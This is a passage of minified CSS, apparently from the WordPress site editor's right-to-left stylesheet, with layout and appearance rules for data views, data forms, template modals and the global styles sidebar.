.dataviews-view-grid__field-name{color:#757575;width:35%}.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-value{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:65%}.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field:not(:has(.dataviews-view-grid__field-value:not(:empty))){display:none}.dataviews-view-grid .dataviews-view-grid__badge-fields:not(:empty){padding-bottom:12px}@container (max-width: 480px){.dataviews-view-grid.dataviews-view-grid{grid-template-columns:repeat(1,minmax(0,1fr));padding-left:24px;padding-right:24px}}@container (min-width: 480px){.dataviews-view-grid.dataviews-view-grid{grid-template-columns:repeat(2,minmax(0,1fr))}}@container (min-width: 780px){.dataviews-view-grid.dataviews-view-grid{grid-template-columns:repeat(3,minmax(0,1fr))}}@container (min-width: 1140px){.dataviews-view-grid.dataviews-view-grid{grid-template-columns:repeat(4,minmax(0,1fr))}}@container (min-width: 1520px){.dataviews-view-grid.dataviews-view-grid{grid-template-columns:repeat(5,minmax(0,1fr))}}.dataviews-view-grid__field-value:empty,.dataviews-view-grid__field:empty{display:none}.dataviews-view-grid__card .dataviews-selection-checkbox{position:absolute;right:8px;top:-9999em;z-index:1}.dataviews-view-grid__card.is-selected .dataviews-selection-checkbox,.dataviews-view-grid__card:focus-within .dataviews-selection-checkbox,.dataviews-view-grid__card:hover .dataviews-selection-checkbox{top:8px}.dataviews-view-grid__media--clickable{cursor:pointer}div.dataviews-view-list{list-style-type:none}.dataviews-view-list{margin:0 0 auto}.dataviews-view-list div[role=row]{border-top:1px solid #f0f0f0;margin:0}.dataviews-view-list div[role=row] .dataviews-view-list__item-wrapper{box-sizing:border-box;padding:16px 24px;position:relative}.dataviews-view-list div[role=row] .dataviews-view-list__item-actions{flex:0;overflow:hidden}.dataviews-view-list div[role=row] .dataviews-view-list__item-actions>div{height:24px}.dataviews-view-list div[role=row] .dataviews-view-list__item-actions .components-button{opacity:0;position:relative;z-index:1}.dataviews-view-list div[role=row]:where(.is-selected,.is-hovered,:focus-within) .dataviews-view-list__item-actions{flex-basis:min-content;overflow:unset;padding-inline-end:4px}.dataviews-view-list div[role=row]:where(.is-selected,.is-hovered,:focus-within) .dataviews-view-list__item-actions .components-button{opacity:1}.dataviews-view-list div[role=row].is-selected.is-selected,.dataviews-view-list div[role=row].is-selected.is-selected+div[role=row]{border-top:1px solid rgba(var(--wp-admin-theme-color--rgb),.12)}.dataviews-view-list div[role=row]:not(.is-selected) .dataviews-view-list__title-field{color:#1e1e1e}.dataviews-view-list div[role=row]:not(.is-selected).is-hovered,.dataviews-view-list div[role=row]:not(.is-selected):focus-within,.dataviews-view-list div[role=row]:not(.is-selected):hover{background-color:#f8f8f8;color:var(--wp-admin-theme-color)}.dataviews-view-list div[role=row]:not(.is-selected).is-hovered .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected).is-hovered .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected):focus-within .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected):focus-within .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected):hover .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected):hover .dataviews-view-list__title-field{color:var(--wp-admin-theme-color)}.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper{background-color:rgba(var(--wp-admin-theme-color--rgb),.04);color:#1e1e1e}.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__title-field,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__title-field{color:var(--wp-admin-theme-color)}.dataviews-view-list .dataviews-view-list__item{appearance:none;background:none;border:none;cursor:pointer;inset:0;padding:0;position:absolute;scroll-margin:8px 0;z-index:1}.dataviews-view-list .dataviews-view-list__item:focus-visible{outline:none}.dataviews-view-list .dataviews-view-list__item:focus-visible:before{border-radius:2px;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);content:"";inset:var(--wp-admin-border-width-focus);outline:2px solid #0000;position:absolute}.dataviews-view-list .dataviews-view-list__title-field{flex:1;line-height:24px;min-height:24px;overflow:hidden}.dataviews-view-list .dataviews-view-list__title-field:has(a,button){z-index:1}.dataviews-view-list .dataviews-view-list__media-wrapper{background-color:#f0f0f0;border-radius:4px;flex-shrink:0;height:52px;overflow:hidden;position:relative;width:52px}.dataviews-view-list .dataviews-view-list__media-wrapper img{height:100%;object-fit:cover;width:100%}.dataviews-view-list .dataviews-view-list__media-wrapper:after{border-radius:4px;box-shadow:inset 0 0 0 1px #0000001a;content:"";height:100%;position:absolute;right:0;top:0;width:100%}.dataviews-view-list .dataviews-view-list__field-wrapper{flex-grow:1;min-height:52px}.dataviews-view-list .dataviews-view-list__fields{color:#757575;display:flex;flex-wrap:wrap;font-size:12px;gap:12px;row-gap:4px}.dataviews-view-list .dataviews-view-list__fields .dataviews-view-list__field:has(.dataviews-view-list__field-value:empty),.dataviews-view-list .dataviews-view-list__fields:empty{display:none}.dataviews-view-list .dataviews-view-list__fields .dataviews-view-list__field-value{align-items:center;display:flex;line-height:20px;min-height:24px}.dataviews-view-list+.dataviews-pagination{justify-content:space-between}.dataviews-view-table{border-collapse:collapse;border-color:inherit;color:#757575;margin-bottom:auto;position:relative;text-indent:0;width:100%}.dataviews-view-table th{color:#1e1e1e;font-size:13px;font-weight:400;text-align:right}.dataviews-view-table td,.dataviews-view-table th{padding:12px;white-space:nowrap}.dataviews-view-table td.dataviews-view-table__actions-column,.dataviews-view-table th.dataviews-view-table__actions-column{text-align:left}.dataviews-view-table td.dataviews-view-table__checkbox-column,.dataviews-view-table th.dataviews-view-table__checkbox-column{padding-left:0;width:1%}.dataviews-view-table tr{border-top:1px solid #f0f0f0}.dataviews-view-table tr .dataviews-view-table-header-button{gap:4px}.dataviews-view-table tr td:first-child,.dataviews-view-table tr th:first-child{padding-right:48px}.dataviews-view-table tr td:first-child .dataviews-view-table-header-button,.dataviews-view-table tr th:first-child .dataviews-view-table-header-button{margin-right:-8px}.dataviews-view-table tr td:last-child,.dataviews-view-table tr th:last-child{padding-left:48px}.dataviews-view-table tr:last-child{border-bottom:0}.dataviews-view-table tr.is-hovered{background-color:#f8f8f8}.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input{opacity:0}.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:checked,.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:focus,.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:indeterminate{opacity:1}.dataviews-view-table tr .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){opacity:0}.dataviews-view-table tr.is-hovered .components-checkbox-control__input,.dataviews-view-table tr.is-hovered .dataviews-item-actions .components-button:not(.dataviews-all-actions-button),.dataviews-view-table tr:focus-within .components-checkbox-control__input,.dataviews-view-table tr:focus-within .dataviews-item-actions .components-button:not(.dataviews-all-actions-button),.dataviews-view-table tr:hover .components-checkbox-control__input,.dataviews-view-table tr:hover .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){opacity:1}@media (hover:none){.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input,.dataviews-view-table tr .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){opacity:1}}.dataviews-view-table tr.is-selected{background-color:rgba(var(--wp-admin-theme-color--rgb),.04);color:#757575}.dataviews-view-table tr.is-selected,.dataviews-view-table tr.is-selected+tr{border-top:1px solid rgba(var(--wp-admin-theme-color--rgb),.12)}.dataviews-view-table tr.is-selected:hover{background-color:rgba(var(--wp-admin-theme-color--rgb),.08)}.dataviews-view-table thead{inset-block-start:0;position:sticky;z-index:1}.dataviews-view-table thead tr{border:0}.dataviews-view-table thead th{background-color:#fff;font-size:11px;font-weight:500;padding-bottom:8px;padding-right:12px;padding-top:8px;text-transform:uppercase}.dataviews-view-table thead th:has(.dataviews-view-table-header-button):not(:first-child){padding-right:4px}.dataviews-view-table tbody td{vertical-align:top}.dataviews-view-table tbody .dataviews-view-table__cell-content-wrapper{align-items:center;display:flex;min-height:32px}.dataviews-view-table tbody .components-v-stack>.dataviews-view-table__cell-content-wrapper:not(:first-child){min-height:0}.dataviews-view-table .dataviews-view-table-header-button{font-size:11px;font-weight:500;padding:4px 8px;text-transform:uppercase}.dataviews-view-table .dataviews-view-table-header-button:not(:hover){color:#1e1e1e}.dataviews-view-table .dataviews-view-table-header-button span{speak:none}.dataviews-view-table .dataviews-view-table-header-button span:empty{display:none}.dataviews-view-table .dataviews-view-table-header{padding-right:4px}.dataviews-view-table .dataviews-view-table__actions-column{width:1%}.dataviews-view-table:has(tr.is-selected) .components-checkbox-control__input{opacity:1}.dataviews-view-table.has-compact-density thead th:has(.dataviews-view-table-header-button):not(:first-child){padding-right:0}.dataviews-view-table.has-compact-density td,.dataviews-view-table.has-compact-density th{padding:4px 8px}.dataviews-view-table.has-comfortable-density td,.dataviews-view-table.has-comfortable-density th{padding:16px 12px}.dataviews-view-table.has-comfortable-density td.dataviews-view-table__checkbox-column,.dataviews-view-table.has-comfortable-density th.dataviews-view-table__checkbox-column,.dataviews-view-table.has-compact-density td.dataviews-view-table__checkbox-column,.dataviews-view-table.has-compact-density th.dataviews-view-table__checkbox-column{padding-left:0}@container (max-width: 430px){.dataviews-view-table tr td:first-child,.dataviews-view-table tr th:first-child{padding-right:24px}.dataviews-view-table tr td:last-child,.dataviews-view-table tr th:last-child{padding-left:24px}}.dataviews-view-table-selection-checkbox{--checkbox-input-size:24px}@media (min-width:600px){.dataviews-view-table-selection-checkbox{--checkbox-input-size:16px}}.dataviews-column-primary__media{max-width:60px}.dataviews-controls__datetime{border:none;padding:0}.dataforms-layouts-panel__field{align-items:flex-start!important;justify-content:flex-start!important;min-height:32px;width:100%}.dataforms-layouts-panel__field-label{align-items:center;display:flex;flex-shrink:0;hyphens:auto;line-height:20px;min-height:32px;padding:6px 0;width:38%}.dataforms-layouts-panel__field-control{align-items:center;display:flex;flex-grow:1;min-height:32px}.dataforms-layouts-panel__field-control .components-button{max-width:100%;min-height:32px;text-align:right;text-wrap:balance;text-wrap:pretty;white-space:normal}.dataforms-layouts-panel__field-control .components-dropdown{max-width:100%}.dataforms-layouts-panel__field-dropdown .components-popover__content{min-width:320px;padding:16px}.dataforms-layouts-panel__dropdown-header{margin-bottom:16px}.components-popover.components-dropdown__content.dataforms-layouts-panel__field-dropdown{z-index:159990}.dataforms-layouts-regular__field{align-items:flex-start!important;justify-content:flex-start!important;min-height:32px;width:100%}.dataforms-layouts-regular__field .components-base-control__label{font-size:inherit;font-weight:400;text-transform:none}.dataforms-layouts-regular__field-label{align-items:center;display:flex;flex-shrink:0;hyphens:auto;line-height:20px;min-height:32px;padding:6px 0;width:38%}.dataforms-layouts-regular__field-control{align-items:center;display:flex;flex-grow:1;min-height:32px}.fields-create-template-part-modal{z-index:1000001}.fields-create-template-part-modal__area-radio-group{border:1px solid #949494;border-radius:2px}.fields-create-template-part-modal__area-radio-wrapper{align-items:center;display:grid;grid-template-columns:min-content 1fr min-content;padding:12px;position:relative;grid-gap:4px 8px;color:#1e1e1e}.fields-create-template-part-modal__area-radio-wrapper+.fields-create-template-part-modal__area-radio-wrapper{border-top:1px solid #949494}.fields-create-template-part-modal__area-radio-wrapper input[type=radio]{opacity:0;position:absolute}.fields-create-template-part-modal__area-radio-wrapper:has(input[type=radio]:checked){z-index:1}.fields-create-template-part-modal__area-radio-wrapper:has(input[type=radio]:not(:checked)):hover{color:var(--wp-admin-theme-color)}.fields-create-template-part-modal__area-radio-wrapper>:not(.fields-create-template-part-modal__area-radio-label){pointer-events:none}.fields-create-template-part-modal__area-radio-label:before{content:"";inset:0;position:absolute}input[type=radio]:not(:checked)~.fields-create-template-part-modal__area-radio-label:before{cursor:pointer}input[type=radio]:focus-visible~.fields-create-template-part-modal__area-radio-label:before{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:4px solid #0000}.fields-create-template-part-modal__area-radio-checkmark,.fields-create-template-part-modal__area-radio-icon{fill:currentColor}input[type=radio]:not(:checked)~.fields-create-template-part-modal__area-radio-checkmark{opacity:0}.fields-create-template-part-modal__area-radio-description{color:#757575;font-size:12px;grid-column:2/3;line-height:normal;margin:0;text-wrap:pretty}input[type=radio]:not(:checked):hover~.fields-create-template-part-modal__area-radio-description{color:inherit}.fields-controls__slug .fields-controls__slug-external-icon{margin-right:5ch}.fields-controls__slug .fields-controls__slug-input input.components-input-control__input{padding-inline-start:0!important}.fields-controls__slug .fields-controls__slug-help-link{word-break:break-word}.fields-controls__slug .fields-controls__slug-help{display:flex;flex-direction:column}.fields-controls__slug .fields-controls__slug-help .fields-controls__slug-help-slug{font-weight:600}.fields-controls__featured-image-placeholder{background:#fff linear-gradient(45deg,#0000 48%,#ddd 0,#ddd 52%,#0000 0);border-radius:2px;box-shadow:inset 0 0 0 1px #0003;display:inline-block;padding:0}.fields-controls__featured-image-title{color:#1e1e1e;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:100%}.fields-controls__featured-image-image{align-self:center;border-radius:2px;height:100%;width:100%}.fields-controls__featured-image-container .fields-controls__featured-image-placeholder{margin:0}.fields-controls__featured-image-container span{margin-left:auto}fieldset.fields-controls__featured-image .fields-controls__featured-image-container{border:1px solid #ddd;border-radius:2px;cursor:pointer;padding:8px 12px}fieldset.fields-controls__featured-image .fields-controls__featured-image-container:hover{background-color:#f0f0f0}fieldset.fields-controls__featured-image .fields-controls__featured-image-placeholder{height:24px;width:24px}fieldset.fields-controls__featured-image span{align-self:center;text-align:start;white-space:nowrap}fieldset.fields-controls__featured-image .fields-controls__featured-image-upload-button{height:fit-content;padding:0}fieldset.fields-controls__featured-image .fields-controls__featured-image-upload-button:focus,fieldset.fields-controls__featured-image .fields-controls__featured-image-upload-button:hover{border:0;color:unset}fieldset.fields-controls__featured-image .fields-controls__featured-image-remove-button{place-self:end}.dataforms-layouts-panel__field-control .fields-controls__featured-image-image,.dataforms-layouts-panel__field-control .fields-controls__featured-image-placeholder{height:16px;width:16px}.dataviews-view-table__cell-content-wrapper .fields-controls__featured-image-image,.dataviews-view-table__cell-content-wrapper .fields-controls__featured-image-placeholder{display:block;height:32px;width:32px}.fields-controls__template-modal{z-index:1000001}.fields-controls__template-content .block-editor-block-patterns-list{column-count:2;column-gap:24px;padding-top:2px}@media (min-width:782px){.fields-controls__template-content .block-editor-block-patterns-list{column-count:3}}@media (min-width:1280px){.fields-controls__template-content .block-editor-block-patterns-list{column-count:4}}.fields-controls__template-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.fields-field__title span:first-child{display:block;flex-grow:0;overflow:hidden;text-decoration:none;text-overflow:ellipsis;white-space:nowrap}.fields-field__pattern-title span:first-child{flex:1}.edit-site-custom-template-modal__contents-wrapper{height:100%;justify-content:flex-start!important}.edit-site-custom-template-modal__contents-wrapper>*{width:100%}.edit-site-custom-template-modal__contents-wrapper__suggestions_list{margin-left:-12px;margin-right:-12px;width:calc(100% + 24px)}.edit-site-custom-template-modal__contents>.components-button{height:auto;justify-content:center}@media (min-width:782px){.edit-site-custom-template-modal{width:456px}}@media (min-width:600px){.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list{max-height:224px;overflow-y:auto}}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item{display:block;height:auto;overflow-wrap:break-word;padding:8px 12px;text-align:right;white-space:pre-wrap;width:100%}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item mark{background:none;font-weight:700}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04)}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover *,.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover mark{color:var(--wp-admin-theme-color)}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:focus{background-color:#f0f0f0}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:focus:not(:disabled){box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color) inset}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__info,.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__title{display:block;overflow:hidden;text-overflow:ellipsis}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__info{color:#757575;word-break:break-all}.edit-site-custom-template-modal__no-results{border:1px solid #ccc;border-radius:2px;padding:16px}.edit-site-custom-generic-template__modal .components-modal__header{border-bottom:none}.edit-site-custom-generic-template__modal .components-modal__content:before{margin-bottom:4px}@media (min-width:960px){.edit-site-add-new-template__modal{margin-top:64px;max-height:calc(100% - 128px);max-width:832px;width:calc(100% - 128px)}}.edit-site-add-new-template__modal .edit-site-add-new-template__custom-template-button svg,.edit-site-add-new-template__modal .edit-site-add-new-template__template-button svg{fill:var(--wp-admin-theme-color)}.edit-site-add-new-template__modal .edit-site-add-new-template__custom-template-button .edit-site-add-new-template__template-name{align-items:flex-start;flex-grow:1}.edit-site-add-new-template__modal .edit-site-add-new-template__template-icon{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-radius:100%;max-height:40px;max-width:40px;padding:8px}.edit-site-add-new-template__template-list__contents>.components-button,.edit-site-custom-template-modal__contents>.components-button{border:1px solid #ddd;display:flex;flex-direction:column;justify-content:center;outline:1px solid #0000;padding:32px}.edit-site-add-new-template__template-list__contents>.components-button span:first-child,.edit-site-custom-template-modal__contents>.components-button span:first-child{color:#1e1e1e}.edit-site-add-new-template__template-list__contents>.components-button span,.edit-site-custom-template-modal__contents>.components-button span{color:#757575}.edit-site-add-new-template__template-list__contents>.components-button:hover,.edit-site-custom-template-modal__contents>.components-button:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:#0000;color:var(--wp-admin-theme-color-darker-10)}.edit-site-add-new-template__template-list__contents>.components-button:hover span,.edit-site-custom-template-modal__contents>.components-button:hover span{color:var(--wp-admin-theme-color)}.edit-site-add-new-template__template-list__contents>.components-button:focus,.edit-site-custom-template-modal__contents>.components-button:focus{border-color:#0000;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:3px solid #0000}.edit-site-add-new-template__template-list__contents>.components-button:focus span:first-child,.edit-site-custom-template-modal__contents>.components-button:focus span:first-child{color:var(--wp-admin-theme-color)}.edit-site-add-new-template__template-list__contents .edit-site-add-new-template__custom-template-button,.edit-site-add-new-template__template-list__contents .edit-site-add-new-template__template-list__prompt,.edit-site-custom-template-modal__contents .edit-site-add-new-template__custom-template-button,.edit-site-custom-template-modal__contents .edit-site-add-new-template__template-list__prompt{grid-column:1/-1}.edit-site-add-new-template__template-list__contents>.components-button{align-items:flex-start;height:100%;text-align:start}.edit-site-visual-editor__editor-canvas.is-focused{outline:calc(var(--wp-admin-border-width-focus)*2) solid var(--wp-admin-theme-color);outline-offset:calc(var(--wp-admin-border-width-focus)*-2)}.edit-site-canvas-loader{align-items:center;display:flex;height:100%;justify-content:center;opacity:0;position:absolute;right:0;top:0;width:100%}@media not (prefers-reduced-motion){.edit-site-canvas-loader{animation:edit-site-canvas-loader__fade-in-animation .5s ease .2s;animation-fill-mode:forwards}}.edit-site-canvas-loader>div{width:160px}@keyframes edit-site-canvas-loader__fade-in-animation{0%{opacity:0}to{opacity:1}}.edit-site-global-styles-preview{align-items:center;cursor:pointer;display:flex;justify-content:center;line-height:1}.edit-site-global-styles-preview__wrapper{display:block;max-width:100%;width:100%}.edit-site-typography-preview{align-items:center;background:#f0f0f0;border-radius:2px;display:flex;justify-content:center;margin-bottom:16px;min-height:100px;overflow:hidden}.edit-site-font-size__item{line-break:anywhere;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.edit-site-font-size__item-value{color:#757575}.edit-site-global-styles-screen{margin:12px 16px 16px}.edit-site-global-styles-screen-typography__indicator{align-items:center;border-radius:1px;display:flex!important;font-size:14px;height:24px;justify-content:center;width:24px}.edit-site-global-styles-screen-typography__font-variants-count{color:#757575}.edit-site-global-styles-font-families__manage-fonts{justify-content:center}.edit-site-global-styles-screen .color-block-support-panel{border-top:none;padding-left:0;padding-right:0;padding-top:0;row-gap:12px}.edit-site-global-styles-header__description{padding:0 16px}.edit-site-block-types-search{margin-bottom:8px;padding:0 16px}.edit-site-global-styles-header{margin-bottom:0!important}.edit-site-global-styles-subtitle{font-size:11px!important;font-weight:500!important;margin-bottom:0!important;text-transform:uppercase}.edit-site-global-styles-section-title{color:#2f2f2f;font-weight:600;line-height:1.2;margin:0;padding:16px 16px 0}.edit-site-global-styles-icon-with-current-color{fill:currentColor}.edit-site-global-styles__color-indicator-wrapper{flex-shrink:0;height:24px}.edit-site-global-styles__shadows-panel__options-container,.edit-site-global-styles__shadows-panel__title{height:24px}.edit-site-global-styles__block-preview-panel{border:1px solid #e0e0e0;border-radius:4px;overflow:hidden;position:relative;width:100%}.edit-site-global-styles__shadow-preview-panel{background-image:repeating-linear-gradient(-45deg,#f5f5f5 25%,#0000 0,#0000 75%,#f5f5f5 0,#f5f5f5),repeating-linear-gradient(-45deg,#f5f5f5 25%,#0000 0,#0000 75%,#f5f5f5 0,#f5f5f5);background-position:100% 0,right 8px top 8px;background-size:16px 16px;border:1px solid #e0e0e0;border-radius:4px;height:144px;overflow:auto}.edit-site-global-styles__shadow-preview-panel .edit-site-global-styles__shadow-preview-block{background-color:#fff;border:1px solid #e0e0e0;border-radius:2px;height:60px;width:60%}.edit-site-global-styles__shadow-editor__dropdown-content{width:280px}.edit-site-global-styles__shadow-editor-panel{margin-bottom:4px}.edit-site-global-styles__shadow-editor__dropdown{position:relative;width:100%}.edit-site-global-styles__shadow-editor__dropdown-toggle{border-radius:inherit;height:auto;padding-bottom:8px;padding-top:8px;text-align:right;width:100%}.edit-site-global-styles__shadow-editor__dropdown-toggle.is-open{background:#f0f0f0;color:var(--wp-admin-theme-color)}.edit-site-global-styles__shadow-editor__remove-button{left:8px;opacity:0;position:absolute;top:8px}.edit-site-global-styles__shadow-editor__remove-button.edit-site-global-styles__shadow-editor__remove-button{border:none}.edit-site-global-styles__shadow-editor__dropdown-toggle:hover+.edit-site-global-styles__shadow-editor__remove-button,.edit-site-global-styles__shadow-editor__remove-button:focus,.edit-site-global-styles__shadow-editor__remove-button:hover{opacity:1}@media (hover:none){.edit-site-global-styles__shadow-editor__remove-button{opacity:1}}.edit-site-global-styles-screen-css{display:flex;flex:1 1 auto;flex-direction:column;margin:16px}.edit-site-global-styles-screen-css .components-v-stack{flex:1 1 auto}.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input,.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input .components-base-control__field{display:flex;flex:1 1 auto;flex-direction:column}.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input .components-base-control__field .components-textarea-control__input{direction:ltr;flex:1 1 auto}.edit-site-global-styles-screen-css-help-link{display:inline-block;margin-top:8px}.edit-site-global-styles-screen-variations{border-top:1px solid #ddd;margin-top:16px}.edit-site-global-styles-screen-variations>*{margin:24px 16px}.edit-site-global-styles-sidebar__navigator-provider{height:100%}.edit-site-global-styles-sidebar__navigator-screen{display:flex;flex-direction:column;height:100%}.edit-site-global-styles-sidebar__navigator-screen .single-column{grid-column:span 1}.edit-site-global-styles-screen-root.edit-site-global-styles-screen-root,.edit-site-global-styles-screen-style-variations.edit-site-global-styles-screen-style-variations{background:unset;color:inherit}.edit-site-global-styles-sidebar__panel .block-editor-block-icon svg{fill:currentColor}.edit-site-global-styles-screen-root__active-style-tile.edit-site-global-styles-screen-root__active-style-tile,.edit-site-global-styles-screen-root__active-style-tile.edit-site-global-styles-screen-root__active-style-tile .edit-site-global-styles-screen-root__active-style-tile-preview{border-radius:2px}.edit-site-global-styles-screen-revisions__revisions-list{flex-grow:1;list-style:none;margin:0 16px 16px}.edit-site-global-styles-screen-revisions__revisions-list li{margin-bottom:0}.edit-site-global-styles-screen-revisions__revision-item{cursor:pointer;display:flex;flex-direction:column;position:relative}.edit-site-global-styles-screen-revisions__revision-item[role=option]:active,.edit-site-global-styles-screen-revisions__revision-item[role=option]:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.edit-site-global-styles-screen-revisions__revision-item:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04)}.edit-site-global-styles-screen-revisions__revision-item:hover .edit-site-global-styles-screen-revisions__date{color:var(--wp-admin-theme-color)}.edit-site-global-styles-screen-revisions__revision-item:after,.edit-site-global-styles-screen-revisions__revision-item:before{content:"\a";display:block;position:absolute}.edit-site-global-styles-screen-revisions__revision-item:before{background:#ddd;border:4px solid #0000;border-radius:50%;height:8px;right:17px;top:18px;transform:translate(50%,-50%);width:8px;z-index:1}.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true]{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-radius:2px;color:var(--wp-admin-theme-color);outline:3px solid #0000;outline-offset:-2px}.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true] .edit-site-global-styles-screen-revisions__date{color:var(--wp-admin-theme-color)}.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true]:before{background:var(--wp-admin-theme-color)}.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true] .edit-site-global-styles-screen-revisions__applied-text,.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true] .edit-site-global-styles-screen-revisions__changes>li,.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true] .edit-site-global-styles-screen-revisions__meta{color:#1e1e1e}.edit-site-global-styles-screen-revisions__revision-item:after{border:.5px solid #ddd;height:100%;right:16px;top:0;width:0}.edit-site-global-styles-screen-revisions__revision-item:first-child:after{top:18px}.edit-site-global-styles-screen-revisions__revision-item:last-child:after{height:18px}.edit-site-global-styles-screen-revisions__revision-item-wrapper{display:block;padding:12px 40px 4px 12px}.edit-site-global-styles-screen-revisions__applied-text,.edit-site-global-styles-screen-revisions__apply-button.is-primary{align-self:flex-start;margin:4px 40px 12px 12px}.edit-site-global-styles-screen-revisions__applied-text,.edit-site-global-styles-screen-revisions__changes,.edit-site-global-styles-screen-revisions__meta{color:#757575;font-size:12px}.edit-site-global-styles-screen-revisions__description{align-items:flex-start;display:flex;flex-direction:column;gap:8px}.edit-site-global-styles-screen-revisions__description .edit-site-global-styles-screen-revisions__date{font-size:12px;font-weight:600;text-transform:uppercase}.edit-site-global-styles-screen-revisions__meta{align-items:flex-start;display:flex;justify-content:start;margin-bottom:4px;text-align:right;width:100%}.edit-site-global-styles-screen-revisions__meta img{border-radius:100%;height:16px;margin-left:8px;width:16px}.edit-site-global-styles-screen-revisions__loading{margin:24px auto!important}.edit-site-global-styles-screen-revisions__changes{line-height:1.4;list-style:disc;margin-right:12px;text-align:right}.edit-site-global-styles-screen-revisions__changes li{margin-bottom:4px}.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination{gap:2px;justify-content:space-between}.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .edit-site-pagination__total{height:1px;margin:-1px;overflow:hidden;position:absolute;right:-1000px}.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-text{font-size:12px;will-change:opacity}.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-button.is-tertiary{color:#1e1e1e}.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-button.is-tertiary:disabled,.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-button.is-tertiary[aria-disabled=true]{color:#949494}.edit-site-global-styles-screen-revisions__footer{background:#fff;border-top:1px solid #ddd;bottom:0;height:56px;min-width:100%;padding:12px;position:sticky;z-index:1}.editor-sidebar{width:280px}.editor-sidebar>.components-panel{border-left:0;border-right:0;margin-bottom:-1px;margin-top:-1px}.editor-sidebar>.components-panel>.components-panel__header{background:#f0f0f0}.editor-sidebar .block-editor-block-inspector__card{margin:0}.edit-site-global-styles-sidebar{display:flex;flex-direction:column;min-height:100%}.edit-site-global-styles-sidebar__panel{flex:1}.edit-site-global-styles-sidebar .edit-site-global-styles-sidebar__header-title{margin:0}.edit-site-global-styles-sidebar .edit-site-global-styles-sidebar__header-actions{flex:1}.edit-site-global-styles-sidebar .components-navigation__menu-title-heading{font-size:15.6px;font-weight:500}.edit-site-global-styles-sidebar .components-navigation__item>button span{font-weight:500}.edit-site-global-styles-sidebar .block-editor-panel-color-gradient-settings{border:0}.edit-site-global-styles-sidebar .single-column{grid-column:span 1}.edit-site-global-styles-sidebar .components-tools-panel .span-columns{grid-column:1/-1}.edit-site-global-styles-sidebar__blocks-group{border-top:1px solid #e0e0e0;padding-top:24px}.edit-site-global-styles-sidebar__blocks-group-help{padding:0 16px}.edit-site-global-styles-color-palette-panel,.edit-site-global-styles-gradient-palette-panel{padding:16px}.edit-site-global-styles-sidebar hr{margin:0}.show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon{width:auto}.show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon 